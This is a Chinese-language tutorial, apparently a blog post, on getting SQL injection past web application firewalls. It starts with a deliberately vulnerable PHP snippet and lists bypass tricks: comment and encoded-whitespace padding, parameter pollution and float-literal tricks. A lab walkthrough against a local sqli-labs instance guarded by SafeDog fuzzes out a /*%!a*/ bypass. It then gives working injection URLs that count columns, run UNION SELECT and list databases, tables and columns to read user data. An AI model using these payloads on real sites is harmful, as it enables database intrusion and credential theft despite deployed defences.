waf也叫做:网站应用级入侵防御系统

waf绕过原理

白盒waf绕过原理

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}

$id=$_GET['id'];
$id= blacklist($id);
$hint=$id;
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}

可以看到blacklist()函数里面过滤了去ADNOR还有一个i意思是大小写都可以

像上面的我们家可以用

and改成&&

or改成||
如果没有添加i就可以用大小写绕过了
就可以解决了

黑盒绕过waf

架构层绕过

  1. 云WAF绕过
    云WAF的原理图

    我们绕过就只需要找到真正的服务器就可以了
  2. 同网段绕过

    我们想办法进入到内网就可以解决了

资源限制绕过WAF

他的意思就是,如果用户发送特别大的数据包

应为WAF过滤大的数据包会变的缓慢,所以就减少过滤大的数据包的内容

黑客就可以进行在大的数据包里面写入sql语句进行注入

协议层面绕过WAF的检查

  1. 协议未覆盖绕过WAF

    1. 比如GET改成POTS有点就可以绕过了

    2. 猜数污染绕过WAF
      比如一个URL地址是http://xxxxx/a?id=1
      我们可以用http://xxxxx/a?id=1&id=2
      有的WEB服务器要的是最后一个猜数id=2
      有的WAF他之过滤第一个猜数id=1
      这样就可以绕过了WAF了

常见的绕过方法(规则层面的绕过)原理

sql注释符来绕过

简单的注释来绕过WAF

有的WAF对union select进行防御

我们就可以用下面方法来进行注入了
比如1 union/**/select
他的语句是

1
SELECT * FROM users WHERE id=1 union/**/ select 1,2,3 ;

结果

其他的注释绕过的语句

1
2
3
union/*aaaaa%01bbs*/select
union/*aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa*/select
/*!xxx*/

空白符绕过

mysql空白符

1
%20 %09 %0a %0b  %0d %0C %a0 %00 /**/  /*!*/

正则空白符

1
%20 %09 %0a %0b  %0d

咧.1

1
union%250cselect

%25=%
0=0
c=c

他就是%0c他就是空
咧.2

1
union%25a0select

%25a0=%a0

%a0就是空

函数分割符号绕过WAF

WAF可能会对数据库敏感函数进行防御
比如

1
2
3
4
5
6
7
version()  mysql数据库版本
database()   当前数据库名
user()   用户名
current_user()   当前用户名
system_user()   系统用户名
@@datadir   数据库路径
@@version_compile_os   操作系统版本

绕过方法

我们就可以用

1
2
3
4
concat/**/()
concat%250c()

等等

浮点型的进行绕过WAF

有点WAF会过滤int行动字符行的,都是他过滤不了浮点型的

1
2
3
4
5
6
SELECT * FROM users WHERE id=8EOunion select 1,2,3 ;

SELECT * FROM users WHERE id=8.0union select 1,2,3 ;

SELECT * FROM users WHERE id=\Nunion select 1,2,3 ;

利用报错注入进行过滤waf

应为报错注入会出现不常见的mysql函数
这个就不多说了

mysql特殊语法绕过WAF

实战绕过waf

找寻是否存在sql注入

这个我用的是安全狗
我输入

1
http://192.168.31.94/Less-1/?id=1 and 1=1

他就会拦截

进行fuzz过滤waf

用Burp进行fuzz过滤waf

添加特殊字符进行fuzz

其他不常用的字符也可以
这个我用的是下面的字符

1
a1!%('&/*


结果

可以看到很多都是被过滤了


在浏览器看一下
是呗过滤了

看一下其他响应的大小来查询fuzz

看到语法报错了

在浏览器上查看一下

可以看到现在显示正常

在浏览器看一下

显示正常

URL是

1
http://192.168.31.94/Less-1/?id=1'/*%!*/and/*%!*/1=1/*%!*/--+

我们修改成2看看

URL是

1
http://192.168.31.94/Less-1/?id=1'/*%!*/and/*%!*/1=2/*%!*/--+

发现/*%!*/是可以绕过waf的

上面fuzz出来能绕过waf的字符

1
2
3
4
5
6
7
?id=1'/*!*/and/*!*/1=1/*!*/--+
?id=1'/*%!*/and/*%!*/1=1/*%!*/--+
?id=1'/*%!1*/and/*%!1*/1=1/*%!1*/--+
?id=1'/*%!!*/and/*%!!*/1=1/*%!!*/--+
?id=1'/*%%!*/and/*%%!*/1=1/*%%!*/--+
?id=1'/*%!%*/and/*%!%*/1=1/*%!%*/--+
等等等等......

ORDER BY 判断列数

我用上面的的fuzz出来的用着ORDER BY函数发现不能用

在进行fuzz
其他不常用的字符也可以

这个我用的是下面的字符

1
a1!%('&/*

只要是有空格都进行fuzz

也是有很多呗过滤了


也有语法错误的


查看没有被过成功执行的也有很多
URL是

1
192.168.31.94/Less-1/?id=1'/*%!a*/ORDER/*%!a*/BY/*%!a*/1/*%!a*/--+



判断列数
输入4发现就报错了,那这样就判断出来,字段是有3个
输入第3个可以看到正常显示
URL地址

1
http://192.168.31.94/Less-1/?id=1'/*%!a*/ORDER/*%!a*/BY/*%!a*/3/*%!a*/--+


输入第4个就报错了
URL地址

1
http://192.168.31.94/Less-1/?id=1'/*%!a*/ORDER/*%!a*/BY/*%!a*/4/*%!a*/--+


被绕过的字符

1
2
3
4
5
6
?id=1'/*%!aa*/ORDER/*%!aa*/BY/*%!aa*/1/*%!aa*/--+
?id=1'/*%!1a*/ORDER/*%!1a*/BY/*%!1a*/1/*%!1a*/--+
?id=1'/*%!!a*/ORDER/*%!!a*/BY/*%!!a*/1/*%!!a*/--+
?id=1'/*%%!a*/ORDER/*%%!a*/BY/*%%!a*/1/*%%!a*/--+
?id=1'/*%!%a*/ORDER/*%!%a*/BY/*%!%a*/1/*%!%a*/--+
?id=1'/*%!(a*/ORDER/*%!(a*/BY/*%!(a*/1/*%!(a*/--+

观察页面返回,选择可以显示数据的位置,进行下一步的注入

通过上面的fuzz出来的/*%!a*/也可以在union select 1,2,3用还是可以绕过的
URL地址

1
http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,2,3/*%!a*/--+

结果是23

读取库的信息

读取用户名

还是用的/*%!a*/绕过waf
URL地址

1
http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,user(),3/*%!a*/--+

发现添加了user()被拦截了

我们上面在()后面添加/*%!a*/变成了user/*%!a*/()
发现可以完美绕过

其他的方法

读取当前目录

这个@@datadir函数waf没有被过滤
URL地址

1
http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,@@datadir,3/*%!a*/--+

系统版本

这个@@version_compile_os函数也waf也是没有过滤的
URL地址

1
http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,@@version_compile_os,3/*%!a*/--+

读取数据

查看数据库名

还是用/*%!a*/来绕过waf
查询数据库的语句

1
(select schema_name from information_schema.schemata LIMIT 0,1)

URL地址

1
http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,(select/*%!a*/schema_name/*%!a*/from/*%!a*/information_schema.schemata/*%!a*/LIMIT 0,1),3/*%!a*/1--+

可以看到查询出来了

group_concat()函数读取全部的数据库名
应为有很多数据库他只能显示一个,所以用group_concat()叫所以库名都显示到一列中
URL地址

1
http://192.168.31.94/Less-1/?id=-1'/*%!a*/union/*%!a*/select/*%!a*/1,(select/*%!a*/group_concat(schema_name)/*%!a*/from/*%!a*/information_schema.schemata/*%!a*/LIMIT 0,1),3/*%!a*/--+

结果可以看到已经显示出来的全部的数据库

读取查表

通过上面的查询库名知道了数据库名
语句

1
(select group_concat(table_name) from information_schema.tables where table_schema='上面查询出来的数据库名')

还是全部的空格都替换成/*%!a*/
URL地址

1
http://192.168.31.94/Less-1/?id=-1%27/*%!a*/union/*%!a*/select/*%!a*/1,(select/*%!a*/group_concat(table_name)/*%!a*/from/*%!a*/information_schema.tables/*%!a*/where/*%!a*/table_schema='security'),3/*%!a*/--+

结果成功叫读取查表

查询列

通过上面的查询查询出来了库和表
通过上面的表查询列
语句

1
(select group_concat(column_name) from information_schema.columns where table_name='表名')

还是全部的空格都替换成/*%!a*/
URL地址

1
http://192.168.31.94/Less-1/?id=-1%27/*%!a*/union/*%!a*/select/*%!a*/1,(select/*%!a*/group_concat(column_name)/*%!a*/from/*%!a*/information_schema.columns/*%!a*/where/*%!a*/table_name='users'),3/*%!a*/--+

结果查询出来了列

读取数据

通过上面的注入,知道了库,表,列
知道了全部就可以查询数据了
语句

1
select 列名 from 库名.表名

结果已经读取到数据库数据